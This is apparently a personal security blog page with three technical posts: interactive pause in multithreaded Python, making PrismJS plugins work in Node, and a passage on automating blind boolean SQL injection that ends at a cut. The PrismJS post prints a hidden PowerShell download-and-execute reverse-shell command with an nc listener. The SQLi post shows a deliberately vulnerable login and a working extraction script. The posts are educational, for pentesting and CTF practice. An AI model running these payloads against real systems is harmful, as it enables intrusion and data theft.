TrebledJ's Pages

Delay and Interactive Pause in Multi-Threaded Python

2025-03-10T00:00:00Z

Scanning the internet is not trivial, but Python excels at such network I/O tasks thanks to its simplicity and its vast ecosystem of libraries. Still, when dealing with the internet, it’s not uncommon to encounter rate-limited endpoints and strongly firewalled sites. For penetration testing and red-teaming, opsec is also an important consideration. This means features such as delay and interactive pause are crucial — I'd even say desirable — to ensuring success and low false positives.

Delay (or throttling) allows us to rate-limit requests fired below the 1-thread threshold.
Interactive Pause allows the user to adapt to changing circumstances. These include situations such as sudden network congestion leading to increased response time, WAFs kicking in due to excessive requests, local network failures, and sudden drops in bandwidth.¹

In this post, I’ll be sharing how delay and interactive pause can be added to multithreaded Python scripts to enhance flexibility without compromising functionality.

Our objective is to pause the script when the user hits Ctrl+C, enter an interactive menu, then resume when “c” or “continue” is entered. We'll accomplish this with Python's pre-packaged threading.Event and signal libraries. (No additional dependencies!)

^{Note: the first "Running" box extends slightly to the right, because threads may still be working even after Ctrl+C is hit. For instance, waiting for a response from an HTTP server.}

A Tale of Two Scripts

To best demonstrate the addition of our desired features, I'll be presenting two scripts, a "before" and "after". I'll then highlight and explain the changes.

The "before" is a very basic multithreading script. No delay and pause.
The "after" is a robust working example of multithreading with delay and pause.

I’ll be demonstrating with Python threads via concurrent.futures.ThreadPoolExecutor. Python offers two other concurrency primitives: processes (multiprocessing / ProcessPoolExecutor) and green threads (asyncio). We won't discuss those today, but the gist is similar!

Basic Script

^{A simple script. The user has barely any control over the execution flow aside from parameters. Sufficient for straightforward scripts though.}

import concurrent.futures
from time import sleep


def thread_do_stuff():
    sleep(3)

def thread_function(i):
    print(f"[thread] task started {i}")
    thread_do_stuff() # Simulate an IO task, e.g. requests.get().

def main():
    # Start an executor with 2 threads and 10 tasks.
    with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
        not_done = []
        for i in range(10):
            f = executor.submit(thread_function, i)
            not_done.append(f)
        
        while True:
            # Process results while waiting.
            done, not_done = concurrent.futures.wait(not_done, timeout=0.1)
            for future in done:
                # Handle thread result.
                try:
                    future.result()
                except Exception as e:
                    print(e)
                
            if len(not_done) == 0:
                print('[main] Finished all tasks!')
                return

if __name__ == '__main__':
    main()

Fancy Script

^{Similar to the previous script, but includes a small delay between tasks and two interactive pauses. The first pause occurs while the worker threads are running event.wait(), instantly responding with "Interrupt detected". The second pause occurs while they are working (which we assume is some blocking operation, like requests.get()), and the interrupt won't be detected until the next task.}

 import concurrent.futures
+import signal
+from threading import Event
 from time import sleep
 
+# Create global events which will be used across main and worker threads.
+pause_evt = Event()
+resume_evt = Event()
+quit_evt = Event()
+# quit_evt can be a global bool variable too, since single write, multiple read
+# is thread-safe.
+
+# Handle incoming Ctrl+C with `signal`.
+def handle_int_signal(signo, _frame):
+    resume_evt.clear()
+    pause_evt.set()
+
+# Save the original signal so that we can restore it later.
+py_int_signal = signal.getsignal(signal.SIGINT)
+signal.signal(signal.SIGINT, handle_int_signal)
+
+def enable_py_signal():
+    signal.signal(signal.SIGINT, py_int_signal)
+
+def enable_custom_signal():
+    signal.signal(signal.SIGINT, handle_int_signal)
+
+# Create a custom "sleep" function which uses events under the hood.
+def thread_delay(sec):
+    if pause_evt.wait(sec):
+        print('[thread] Interrupt detected, waiting for resume.')
+        resume_evt.wait() # Block until resume is triggered.
+        if quit_evt.is_set(): # Indicate quit preference with a flag.
+            print('[thread] Resumed, but still interrupted. Exiting thread.')
+            raise RuntimeError('interrupt')
+        else:
+            print('[thread] Resuming...')
 
 def thread_do_stuff():
     sleep(3)
 
 def thread_function(i):
+    print(f"[thread] task waiting {i}")
+    thread_delay(1) # Delay between tasks using threading.Event.
     print(f"[thread] task started {i}")
     thread_do_stuff() # Simulate an IO task, e.g. requests.get().
 
+# A simple interactive menu to display during the paused state!
+# Return True -> continue program. Return False -> quit.
+def main_pause_menu():
+    while 1:
+        try:
+            x = input('Do you want to continue? [y/n] ').lower()
+        except (KeyboardInterrupt, EOFError) as e:
+            # Treat Ctrl+C and Ctrl+D as "no".
+            print(f'Got {e.__class__.__name__}. Quitting...')
+            return False
+        
+        if x == 'y':
+            return True
+        elif x == 'n':
+            return False
 
 def main():
     # Start an executor with 2 threads and 8 tasks.
     with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
         not_done = []
         for i in range(8):
             f = executor.submit(thread_function, i)
             not_done.append(f)
         
         while True:
+            enable_custom_signal()
+            while not pause_evt.is_set():
+                # Process results while waiting. The processing shouldn't take
+                # too long in order for the pause menu to show responsively
+                # after Ctrl+C is hit.
                 done, not_done = concurrent.futures.wait(not_done, timeout=0.1)
                 for future in done:
                     # Handle thread result.
                     try:
                         future.result()
                     except Exception as e:
                         print(e)
                     
                 if len(not_done) == 0:
                     print('[main] Finished all tasks!')
                     return
 
+            print('[main] Triggered interrupt.')
+            enable_py_signal()
+            
+            # Handle pause menu/input.
+            cont = main_pause_menu()
+                
+            if cont:
+                # Continue jobs.
+                quit_evt.clear()
+            else:
+                # Cancel pending jobs.
+                print('[main] Shutting down...')
+                executor.shutdown(wait=False, cancel_futures=True)
+                quit_evt.set()
+                print('[main] Finished shutdown.')
+            
+            pause_evt.clear()
+            resume_evt.set() # Signal remaining threads to resume (and possibly quit).
+            if not cont:
+                break
 
 if __name__ == '__main__':
     main()

The Magic

So what voodoo did we add into the second script? It all comes down to threading.Event, signals, and some extra flair.

threading.Event

Event is a Python class from the threading library. As the Python documentation puts it:

This is one of the simplest mechanisms for communication between threads: one thread signals an event and other threads wait for it. An event object manages an internal flag that can be set to true with the set() method and reset to false with the clear() method. The wait() method blocks until the flag is true.

This is what we call a binary semaphore. It’s binary because it represents two states (set or not set). It’s a semaphore because it’s a thread-safe signalling mechanism. (In the past, semaphores were visual cues used to communicate over a distance.)

To demonstrate why they're so useful consider the following toy functions:

import time, threading

def foo():
    time.sleep(5)
    print('done: foo')

event = threading.Event()
def bar():
    event.wait(5)
    print('done: bar')

What's the difference?

`time.sleep()`	`event.wait()`
Blocks for a duration.	Blocks for a duration, but returns instantly when signalled with `event.set()`. If no parameter is passed, waits indefinitely.

For simple delays, time.sleep is good enough. But when responsiveness and multithreaded synchronisation are needed, Event becomes much more appealing. If we add some code to the second example, it's clear that event.wait is a superior sleep-like function, simply because we can control when that sleep finishes, across multiple threads.²

threading.Thread(target=foo).start()
threading.Thread(target=bar).start()
time.sleep(1) # do something...
event.set()   # 'done: bar' printed instantly after

Back to our "after" script. You'll notice we used not one, not two, but three events. In the thread, we introduce a new kind of sleep function: thread_delay.

pause_evt = Event()
resume_evt = Event()
quit_evt = Event()

# -- snip -- 

def thread_delay(sec):
    if pause_evt.wait(sec):
        print('[thread] Interrupt detected, waiting for resume.')
        resume_evt.wait()
        if quit_evt.is_set():
            print('[thread] Resumed, but still interrupted. Exiting thread.')
            raise RuntimeError('interrupt')
        else:
            print('[thread] Resuming...')
            pass

pause_evt - This is the event responsible for sleeping. If pause_evt is set when pause_evt.wait(sec) is running, it will return True and enter the "paused state". Otherwise, .wait(sec) eventually times out and returns False.
resume_evt - Since we want our threads to stop running completely during interactive pause, we need to block and wait for another signal. Thus, a second event. Notice resume_evt.wait() doesn't take a parameter, so it waits indefinitely.
quit_evt - This is an additional feature I added to allow gracefully exiting the thread. The "protocol" I came up with is:
- If resume_evt is set and quit_evt is set → quit the program by throwing an error to exit the thread.
- If resume_evt is set and quit_evt is cleared → continue running.
- This doesn't need to be an event. It could just as well be a variable, since single writes and multiple reads are thread-safe.

Let's now take a look at the modified code in main().

while True:
    # ...
    while not pause_evt.is_set():
        ... # handle results...
        
    # -- snip --
    
    # Handle pause menu/input.
    cont = main_pause_menu()
        
    if cont: # Continue
        quit_evt.clear()
    else: # Quit
        print('[main] Shutting down...')
        executor.shutdown(wait=False, cancel_futures=True)
        quit_evt.set()
        print('[main] Finished shutdown.')
    
    pause_evt.clear()
    resume_evt.set() # Signal remaining threads to resume (and possibly quit).
    if not cont:
        break

The logic here is somewhat simple:

If pause_evt is not set, handle finished results.
If pause_evt is set, enter the pause menu.
User inputs whether to continue or quit.
The rest of the code fulfils the "protocol" outlined earlier.
- To continue: clear quit_evt.
- To quit: set quit_evt. (Plus cancel pending jobs.)
- Then set resume_evt to signal worker threads to venture forth!

Handling Ctrl+C with signal

By default, when Python receives Ctrl+C, a callback runs which raises KeyboardInterrupt. In major operating systems, Ctrl+C sends a SIGINT (i.e. signal interrupt) to programs.

To customise Ctrl+C behaviour, we can set a callback with signal.signal. In our case, our customisation will pause threads by calling pause_evt.set(). We'll save the original signal so that we can restore normal Ctrl+C behaviour when threads are paused or finished.

# Set custom handler...
def handle_int_signal(signo, _frame):
    resume_evt.clear()
    pause_evt.set()

py_int_signal = signal.getsignal(signal.SIGINT)
signal.signal(signal.SIGINT, handle_int_signal)

def enable_py_signal():
    signal.signal(signal.SIGINT, py_int_signal)

def enable_custom_signal():
    signal.signal(signal.SIGINT, handle_int_signal)

In main(), we wrap our result-handling code with enable_custom_signal() and enable_py_signal():

# When running threads...
while True:
    enable_custom_signal()
    # -- snip -- Wait for Ctrl+C signal to pause threads...
    enable_py_signal()
    # -- snip -- Show pause menu + handle events...

Truth be told, I couldn't figure out how to get arbitrary keystrokes in an event.wait-esque manner (i.e. with a timeout). The easiest solution was to just use Ctrl+C. A bit limited, but I'm happy with it.

If you learned programming before generative AI replaced tutorials, diligence, and self-worth, chances are your first program was a simple interactive I/O. Read input; spit it back out. Our simple menu will go back to those nostalgic first days of programming.

# A simple interactive menu to display during the paused state!
# Return True -> continue program. Return False -> quit.
def main_pause_menu():
    print('Elsa?')
    while 1:
        try:
            x = input('Do you want to build a snowman? [y/n] ').lower()
        except (KeyboardInterrupt, EOFError) as e:
            # Treat Ctrl+C and Ctrl+D as "no".
            print(f'Got {e.__class__.__name__}. You don\'t have to be thaat rude. :(')
            return False
        
        if x == 'y':
            return True
        elif x == 'n':
            print('Okay, byeeeee.')
            return False

Conclusion

To show ~~off~~ this potential in an interactive tool, here's a short clip where I integrated the techniques here into my nifty little SQL injection automation (for ethical hacking purposes).

^{On the left panel, we seamlessly execute various commands, pausing twice with Ctrl+C, with the option of configuring the delay, timeout, and log level. An updated version allows toggling the proxy!}

This post demonstrated how to add interactive pausing to your multithreaded Python script with zero additional dependencies. Despite the simplicity, there are a few other things to explore that we haven't discussed:

Pausing with processes or asyncio. Each of these has their own Event objects. Processes have multiprocessing.Event. asyncio has asyncio.Event. These are also worth exploring.
Trigger pause with an arbitrary key. Instead of relying on Ctrl+C and SIGINT, is it possible to listen for arbitrary keys and pause with them? This seems difficult to implement without additional dependencies and may require native API wrangling (see the keyboard package).
- It is possible to capture input on a separate thread with getch implementations (see here). This blocks while waiting for input. However, issues arise when considering other UX aspects.
- What if the user presses Ctrl+C? SIGINT (and signals, in general) are always executed in the main thread.
- What if the processing finishes without the user entering input? The thread receiving input would need to be killed.
Off-by-One Delay. Currently, our execution is delay → work → delay → work, but the first delay isn't actually needed. This should be fairly trivial to fix, but I decided to leave it out from the example to avoid overcomplication. Exercise for the reader and all that.

tl;dr

Use threading.Event to synchronise events (e.g. pause) and sleep.
- Use three events: one to signal pause, one to signal resume, and one to indicate resume or quit.
- Write a delay() function which calls pause_event.wait(SLEEP_SEC).
Use signal.signal to customise Ctrl+C (which triggers SIGINT). The handler should call pause_event.set().
Adjust the environment before and after the pause menu, such as temporarily restoring Python's SIGINT handler.

References

SO: Python time.sleep() vs event.wait() (goes into low level implementation deets)
Python 3 Docs: threading.Event (very simple and clear docs)
Python 3 Docs: signal
Python 3 Docs: concurrent.futures

Appendix

Appendix A: Bonus - rich.progress

If you're using rich.progress to liven up your UI, you may find the live progress bar conflicts with our custom pause menu. To disable the live progress, you can manually adjust the class members before entering the pause menu in main():

+# Disable live progress.
+# prog is an instance of rich.progress.Progress.
+prog.update(prog.task_ids[0], visible=False, refresh=True)
+prog.disable = True
+prog.live.auto_refresh = False
+is_interactive = prog.live.console.is_interactive
+prog.live.console.is_interactive = False
 
 cont = main_pause_menu()
 # -- snip --
 resume_evt.set()
 
+# Re-enable live progress...
+prog.live.console.is_interactive = is_interactive
+prog.live.auto_refresh = True
+prog.disable = False
+prog.update(prog.task_ids[0], visible=True, refresh=True)
 
 if cont:
     break

This is very hacky, because the properties aren't documented and could potentially change, but it works pretty well.

Appendix B: Handling Future Results

AFAIK, there are three main ways of handling future results from concurrent.futures. Keep in mind some approaches may be better for your script.

concurrent.futures.wait. Polls and partitions an iterable of futures into done and not_done sets. Does not block main thread when timeout is specified. Result handling runs in main thread.

For the "other stuff" to run responsively, the timeout parameter in concurrent.futures.wait() should be relatively small, and the result handling shouldn't take too long.

with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
    not_done = []
    for i in range(10):
        f = executor.submit(thread_function, i)
        not_done.append(f)
    
    while True:
        # Process results while waiting.
        done, not_done = concurrent.futures.wait(not_done, timeout=0.5)
        for future in done:
            # Handle thread result.
            try:
                future.result()
            except Exception as e:
                print(e)
            
        if len(not_done) == 0:
            print('[main] Finished all tasks!')
            return
        
        # Do other stuff...

concurrent.futures.as_completed. This returns an iterable of completed futures. Blocks main thread. Result handling runs in main thread.

This is not a reliable way to integrate with the flow demonstrated in this post.

with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
    futures = []
    for i in range(8):
        f = executor.submit(thread_function, i)
        futures.append(f)
    
    for f in concurrent.futures.as_completed(futures):
        try:
            f.result()
        except Exception as e:
            print(e)

        # Do other stuff? Not necessarily consistent or responsive though.

future.add_done_callback(). This fires a callback upon completion of each future. Does not block main thread. Result handling may not run in main thread.

Probably the "cleanest" way to integrate with the flow demonstrated in this post, unless you handle future.result() in a non-thread-safe manner, in which case... beware race conditions.

def callback(f):
    try:
        print(f.result())
    except Exception as e:
        print(e)

with concurrent.futures.ThreadPoolExecutor(max_workers=2) as executor:
    futures = []
    for i in range(8):
        f = executor.submit(thread_function, i)
        f.add_done_callback(callback)
        futures.append(f)
    
    # Results get handled in the background!
    # Do other stuff...

Footnotes

feroxbuster, a popular pentesting tool, has interactive pause for runtime addition of filters and pruning of exploration paths. Quite useful for reducing false positives and saving time! ↩︎
Of course, it's possible to do the same with time.sleep by breaking the sleep into smaller pieces and looping. In fact, Python 2's implementation of event.wait() was exactly like that — a while loop calling time.sleep with tiny intervals. This turned out to be inefficient (by acquiring the GIL repeatedly) and caused a few bugs. In Python 3, event.wait() is properly implemented in C with interrupts! Check out this SO answer for more gory details. ↩︎

How to Use PrismJS Plugins with NodeJS and MarkdownIt

2024-11-03T00:00:00Z

With over 7 million weekly downloads on NPM, PrismJS is one of the most widely used code highlighting packages in JavaScript, lauded for its unparalleled extensibility through plugins. But one recurring issue plagues developers: most plugins require a DOM! Fancy plugins such as command-line, line-numbers, and the toolbar suite require a DOM to manipulate HTML. This isn't normally possible in runtime environments such as Node, which aren't designed to render UIs, hence, no DOM.

In this post, I’ll demonstrate a few simple changes to easily coerce these plugins into compatibility with NodeJS and MarkdownIt, a popular markdown renderer.¹

Why enhance codeblocks?

Simple codeblocks suffice for most writers who need supporting text with pretty colours. But maybe you want your codeblocks to simply look flashier. Or maybe you want better tools to tell a story!

To tell a good story, the characters, plot, and location need to be clear to the audience. Similarly, blog posts and tutorials benefit from enhancements such as command-line demarcations, line numbers, labels, and inline markup.

There are many cases where such codeblocks are warranted (brackets contain remedial plugins):

Interaction: input and output should be contrasted, think: shell or Jupyter notebook (command-line)
A post compares or demonstrates a technique in multiple languages (show-language)
Code is executed in multiple, distinct environments (command-line, label)
A post refers to a code snippet within a large file (line-numbers)
A post refers to multiple files (label)

Example: Catching Reverse Shells (Labels and Command-Line)

This is really useful when presenting narratives for red teaming scenarios, where multiple machines are involved.² Here are some simple notes on catching a reverse shell from a Windows machine.

Get our IP.

ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
    inet 192.168.100.100  netmask 255.255.255.0  broadcast 192.168.100.255
    ...

Listen for incoming connections on port 4444.
```
nc -nlvp 4444
```
Attacker
Shell

Download and execute Invoke-PowerShellTcp on the victim.

powershell -nop -w hidden -c "iex (New-Object Net.WebClient).DownloadString('http://192.168.100.100/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.100.100 -Port 4444"

It's clear that our character shifts from Scene 1 to Scene 2, with less sentence clutter.

_(collapse)

Another problem I notice on many documentation pages is the use of $, denoting the start of a new command on a shell. These are poor for a couple reasons: it doesn't accurately present the actual code (from both the writer's and readers' PoV) and may disrupt syntax highlighters.

Example: The Obstructive $ (Command-Line)

These are commonly seen in installation scripts or guides. Here's an example installing a Makefile-based project:

$ tar -xvzf who_doesnt_like_to_copy_lines_of_code_one_by_one.tar.gz
$ cd who_doesnt_like_to_copy_lines_of_code_one_by_one
$ ./configure
$ make -j4
$ make install

Atrocious! You can't copy multiple lines without the nasty $ getting in the way! What terrible UX. It's like when your parent or sibling stands in front of the television!³

Compare it to this:

tar -xvzf who_doesnt_like_to_copy_lines_of_code_one_by_one.tar.gz
cd who_doesnt_like_to_copy_lines_of_code_one_by_one
./configure
make -j4
make install

_(collapse)

With that small rant out of the way, let's begin!

Step 1: Expose a DOM API

To make Node seem like a browser, we want to introduce document and window globals. These are the two keys variables used by Prism to manipulate HTML. window isn't really called; it's mostly for UI behaviour. document, however, is used rather heavily.

This could have adverse effects on libraries which use unified code for both browser and runtime environments. Introducing document and window might have unintended spillover effects... In most cases though, this shouldn't break anything.

The easiest solution is to glue a DOM manipulation library such as JSDOM or domino, and create global window/document variables. I’ve chosen to use domino since it renders codeblocks much faster than JSDOM, with zero additional dependencies.

npm install domino

const domino = require('domino');
global.window = domino.createWindow('');
global.getComputedStyle = global.window.getComputedStyle;
global.document = global.window.document;

NodeJS's global object enables us to add global variables. Now Prism can access our window and document globals.

For convenience later, we’ll also create a function which converts HTML strings to DOM objects. We'll use the template element to achieve this.⁴

function textToDOM(text) {
  const templ = document.createElement('template');
  templ.innerHTML = text;
  return templ.content;
}

Step 2: Override MarkdownIt Fence Rendering

While MarkdownIt works great out-of-the-box, the default rendering rules for code blocks are inherently incompatible with most Prism plugins. MarkdownIt's renderer passes text as input to an arbitrary highlight function, but Prism’s full-featured highlighting expects a DOM Element node. They don't speak the same language!

Prism has two primary highlight functions: Prism.highlight and Prism.highlightElement. Most server-side libraries are happy to use the former. But a lot of hooks aren't called by .highlight, so we'll also have to customise the renderer to call .highlightElement.

We'll reference MarkdownIt's default fence rule and customise it accordingly.

The code presented below will override the .renderer.rules.fence rule completely, overwriting any previous implementations.

If you use another plugin which reuses the fence rule (e.g. markdown-it-prism), consider calling code in this order: 1) the below fence-override code, 2) other code. This way no code is overwritten and lost.

Here are the changes we'll make:

Remove the default text-based highlighting options.highlight. We still need to escape the HTML because we'll substitute it in a HTML string.
(Optional, if you want diff support.) Handle diff-* languages by loading the right language.
Wrap the escaped code in <div><pre><code> with the right attributes⁵, convert it to a DOM element, highlight it to Prism.highlightElement, then return the rendered HTML.
We also moved the attributes to <pre> instead of <code>, which is required for PrismJS to function properly.

The most important part is step 3, where we call Prism magic with .highlightElement.

 markdownit.renderer.rules.fence = function (tokens, idx, options, _env, slf) {
   ...
+  const result = `<div><pre${preAttrs}><code class="${codeClasses}">${escaped}</code></pre></div>`
+  const el = textToDOM(result)
+  Prism.highlightElement(el.firstChild.firstChild.firstChild)
+  return el.firstChild.firstChild.outerHTML
   ...
 }

See Full Changes

 markdownit.renderer.rules.fence = function (tokens, idx, options, _env, slf) {
   const token = tokens[idx];
   const info = token.info ? unescapeAll(token.info).trim() : '';
   ...
 
-  let highlighted
-  if (options.highlight) {
-    highlighted = options.highlight(token.content, langName, langAttrs) || escapeHtml(token.content)
-  } else {
-    highlighted = escapeHtml(token.content)
-  }
+  const escaped = escapeHtml(token.content) // 1
 
-  if (highlighted.indexOf('<pre') === 0) {
-    return highlighted + '\n'
-  }
 
   // If language exists, inject class gently, without modifying original token.
   // May be, one day we will add .deepClone() for token and simplify this part, but
   // now we prefer to keep things local.
   if (info) {
     const i = token.attrIndex('class')
     const tmpAttrs = token.attrs ? token.attrs.slice() : []
     
     if (i < 0) {
       tmpAttrs.push(['class', options.langPrefix + langName])
     } else {
       tmpAttrs[i] = tmpAttrs[i].slice()
       tmpAttrs[i][1] += ' ' + options.langPrefix + langName
     }
       
     // Fake token just to render attributes
     const tmpToken = {
       attrs: tmpAttrs
     }
 
+    // Make sure language is loaded. // 2
+    if (langName.startsWith('diff-')) {
+      const diffRemovedRawName = langName.substring('diff-'.length)
+      if (!Prism.languages[diffRemovedRawName])
+        PrismLoad([diffRemovedRawName])
+    } else {
+      if (!Prism.languages[langName])
+        PrismLoad([langName])
+    }
     
     // 3, 4
+    // Some plugins such as toolbar venture into codeElement.parentElement.parentElement,
+    // so we'll wrap the `pre` in an additional `div` for class purposes.
+    const preAttrs = slf.renderAttrs(tmpToken)
+    const codeClasses = options.langPrefix + langName
+    const result = `<div><pre${preAttrs}><code class="${codeClasses}">${escaped}</code></pre></div>`
+    const el = textToDOM(result)
+    Prism.highlightElement(el.firstChild.firstChild.firstChild)
+    return el.firstChild.firstChild.outerHTML
-    return `<pre><code${slf.renderAttrs(tmpToken)}>${highlighted}</code></pre>\n`
   }
 
   // 4
+  return `<pre${slf.renderAttrs(token)}><code>${escaped}</code></pre>\n`
-  return `<pre><code${slf.renderAttrs(token)}>${highlighted}</code></pre>\n`
 }

_(collapse)

If you're using an SSR framework or SSG, you'll need to first access the MarkdownIt object.

In 11ty, for instance, we can access it like so:

eleventyConfig.amendLibrary('md', mdLib => {
  mdLib.renderer.rules.fence = function (...) { ... }
});

Step 3: Use `markdown-it-attrs`

To add attributes to your codeblocks, introduce markdown-it-attrs to your MarkdownIt object.

You can now add attributes and classes to your codeblocks which will then be parsed by Prism.

For instance, this:

```js {data-label=hello.js .inspect-me-lol}
function hello() {
  console.log("Hello world!");
}
```

becomes:

function hello() {
  console.log("Hello world!");
}

In 11ty, markdown-it-attrs is incompatible with eleventy-plugin-syntaxhighlight due to the way codeblocks are parsed.

Step 4: (Optional) Modify Plugins

With those two changes, we have all we need to start importing fancy plugins!

In case you wish to fine-tune some plugins, you can always copy them into your local project and modify them directly! Some changes I made were:

modding line-numbers for compatibility with command-line and diff (Yes, this doesn't really make sense, but who knows if I'll need it in the future?)
modding show-language to display the base language when the highlight language is diff-*.

You can also add custom attributes with some simple CSS! For instance, I added a CSS class which hides the command-line prompt when a data-rw-prompt attribute is specified.⁶ This is useful for long prompts, which may cover the entire screen's width when scrolling on a phone.

@media (max-width: 576px) {
    /* rw-prompt: response width prompt */
    pre[data-rw-prompt] .command-line-prompt {
        display: none;
    }
}

And here it is in action on some notes. Try viewing on both mobile and computer (or use your browser DevTools).

Get-DomainTrust -domain dollarcorp.moneycorp.local

SourceName      : dollarcorp.moneycorp.local
TargetName      : moneycorp.local
TrustType       : WINDOWS_ACTIVE_DIRECTORY
TrustAttributes : WITHIN_FOREST
TrustDirection  : Bidirectional
WhenCreated     : 11/12/2022 5:59:01 AM
WhenChanged     : 9/25/2024 10:12:06 PM

Benchmarking DOM Libraries

Understandably, one major bottleneck in our strategy is DOM manipulation. A suitable library needs to parse HTML fragments, manipulate DOM elements, and create new ones.

Although I originally selected JSDOM in my quick-n-dirty hack for its popularity, I later switched to domino for a significant (2x!) speedup. This is based on a simple benchmark, which compares the three most popular(?) NodeJS DOM-manipulation libraries: JSDOM, domino, and LinkeDOM.

^{Benchmark of time to render the ~400 codeblocks on this site with JSDOM, domino, and LinkeDOM. Lower time = faster.}

Library	Mean (ms)	Min. (ms)	Max. (ms)
JSDOM	583	492	1007
domino	265	227	477
LinkeDOM	280	214	666

Benchmark Details and CLI Output

The benchmark was run on a MacBook Air with a 1.6 GHz Intel Core i5 processor and 8 GB 2133 MHz LPDDR3 RAM. Benchmark code can be found here.

node eleventy/benchmarks/codeblocks
Running: JSDOM
[auto] Target 199 runs (~604ms/run) in 120s.
 --- [JSDOM] ---
 - 199 runs
 - mean: µ=582.964ms / σ=70.796ms
 - minmax: 491.888ms / 1007.477ms

Running: domino
[auto] Target 454 runs (~264ms/run) in 120s.
 --- [domino] ---
 - 454 runs
 - mean: µ=265.399ms / σ=42.418ms
 - minmax: 226.817ms / 476.795ms

Running: LinkeDOM
[auto] Target 444 runs (~270ms/run) in 120s.
 --- [LinkeDOM] ---
 - 444 runs
 - mean: µ=279.861ms / σ=69.691ms
 - minmax: 214.418ms / 666.151ms

_(collapse)

Moreover, domino has 0 dependencies — it's basically written from the ground up! JSDOM has 21 dependencies. A lower number of dependencies reduces the attack surface of an application; and with increasing reports of supply chain attacks, it's good to limit such risks.

Small update: In a funny twist of events, while I did end up choosing domino initially, I switched over to JSDOM later on. This is because I wanted to use the prism-keep-markup plugin to be able to apply <mark> highlighting inside code blocks. Under the hood, the plugin requires document.createRange which domino's API sadly does not provide. This is a temporary solution; which is to say, I was lazy and didn't want this roadblock to eat up too much time. I may or may not look towards handrolling/simulating document.createRange with a custom function. If you have an alternative, I would welcome it.

Final Remarks

I'll be the first to admit — this is a rather crude hack with some loose ends.⁷ But it works! Not to mention, it looks nice with enough CSS! And to some that's all that matters.

For those interested in the code, you can check it out here:

Just copy the module into your build and load it.

Here are a few other customisations to plugins I made.

copy-to-clipboard: plugin / js / css
line-numbers: plugin / css
show-language: plugin
command-line: css
toolbar: css
diff: css (based on a Eleventy customisation)

Footnotes

Instead of monkeypatching the environment (and potentially affecting other libraries), we could also just write new code using regex to modify HTML, removing the requirement for a DOM altogether. But let’s face it, I sleep more soundly knowing the current implementation is mature and battle-tested. By introducing a DOM API to Node, you're placing trust in a library to be spec-compliant. By handwriting regex, you're placing trust in your code (and regex!) to work. Which would you rather have? ↩︎
Not that I have any red teaming writeups, but I foresee the possibility of such posts in the future. ↩︎
To be fair, there's an argument to be made for "not running these commands all at once". Failure isn't handled. But this largely exists in relatively low-level build commands for C/C++, which are renowned for their many toolchains (read: potential build errors). ↩︎
Unlike JSDOM, domino doesn't have a "create fragment from HTML" function, so template is the suggested workaround. ↩︎
Normally, wrapping it in <pre><code> is sufficient. But some plugins such as toolbar will traverse up to the parent of pre, so... <div><pre><code>. Yay, more workarounds! ↩︎
Here, rw stands for responsive width. ↩︎
It would be better to pass codeblock attributes directly to Prism without the extra stringification and parsing. Guess I'll leave this as an exercise for the front-end engineers. ↩︎

Automating Boolean-Based SQL Injection with Python

2024-08-10T00:00:00Z

When performing a penetration test, we occasionally come across SQL injection (SQLi) vulnerabilities. One particular class of SQLi is particularly tedious to exploit — Boolean-Based SQLi.

Tedious, heavily-repetitive tasks often present themselves as nice opportunities for automation. In this post, we’ll review Boolean-Based SQL Injection, and explore how to automate it with Python by starting with a basic script, optimising, applying multithreading, and more. We'll mainly focus on high-level approaches towards automation and keep our code snippets short.

The end result is a script which automates network requests and brute-forcing into a nice interface:

^{Demo of the Python script in a CTF challenge.}

What a long name.

Let’s break it down from right to left:

SQL Injection: an SQL query is combined with a user payload which makes the resulting query behave differently, potentially resulting in sensitive information disclosure or remote code execution.
Blind: SQL output is not returned directly in the response, but indirectly by some other indicator, such as a boolean response or time.
- Sometimes, this term is dropped when discussing Boolean-Based SQLi, because Boolean-Based implies Blind.
Boolean-Based: the attacker crafts SQL queries that return a TRUE or FALSE response based on the injected conditions. This could appear as:
- different status codes (e.g. 302 redirect on success, 401 on fail),
- different response body (e.g. error messages, full search results), or
- (rarely) different headers (e.g. Set-Cookie).

By carefully analysing the application's response to these manipulated queries, we can extract data bit by bit, deduce the structure of the database, and potentially leak sensitive data.

Each DBMS has unique functions and grammar, so the SQLi syntax may be different. In MySQL, we can extract individual characters using the SUBSTRING() function and convert them to numbers with ASCII().¹

By comparing the values with ASCII numbers, we can determine the character stored.

Simple SQLi Example

So what does this look like practically?

Here we have a simple Flask server with an in-memory SQLite database containing a login endpoint. The login() function is simple: check if the username and password exists in the DB. If it exists, then login is successful.²

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']

    # Check if username/password exists.
    query = "SELECT * FROM users WHERE username='{}' AND password='{}'".format(username, password)
    c = conn.cursor()
    c.execute(query)
    user = c.fetchone()

    if user:
        return 'Login successful!'
    else:
        return 'Login failed.'

This is vulnerable to SQL injection, since the username and password parameters are formatted into the query without any sanitisation and without using prepared statements. But this is blind SQLi, because the results are not returned, only "Login successful" or "Login failed".

To exploit this, we start by crafting a proof-of-concept. We'll pass ' OR 1=1-- to the username parameter, transforming the query into:

SELECT * FROM users WHERE username='' OR 1=1-- ' AND password='...'

where everything after -- is treated as a comment.

Since 1=1 is always true, all users will be selected, and the page returns: "Login successful".

Using this, we can detect TRUE responses by checking if the body contains "success".

Moreover, we can leak further information by changing 1=1 to other guessy queries. For instance, we can use this bad boy — UNICODE(SUBSTRING(sqlite_version(), 1, 1))=51 — to test if the first character of sqlite_version() is '3'. This is where the tedious part comes in: we need to scan two variables: the index and the ASCII character. Scripting helps eliminate this manual labour.

We can use this simple script to brute-force the remaining characters:

import requests

def check_sql_value(sql_query: str, idx: int, guess: int) -> bool:
    url = 'http://127.0.0.1:5000/login'
    data = {
        'username': '1',
        'password': f"' OR UNICODE(SUBSTRING({sql_query}, {idx}, 1)) = {guess} -- "
    }
    r = requests.post(url, data=data)
    return 'success' in r.text

max_data_len = 256
final_data = ''

# SQL's SUBSTRING uses 1-based indexing.
for idx in range(1, max_data_len):
    for guess in range(1, 128):
        if check_sql_value('sqlite_version()', idx, guess):
            final_data += chr(guess)
            print(final_data)
            break
    else:
        # No valid ASCII chars found. Probably end of string.
        break

Output:

_(collapse)

Optimisations with Binary Search

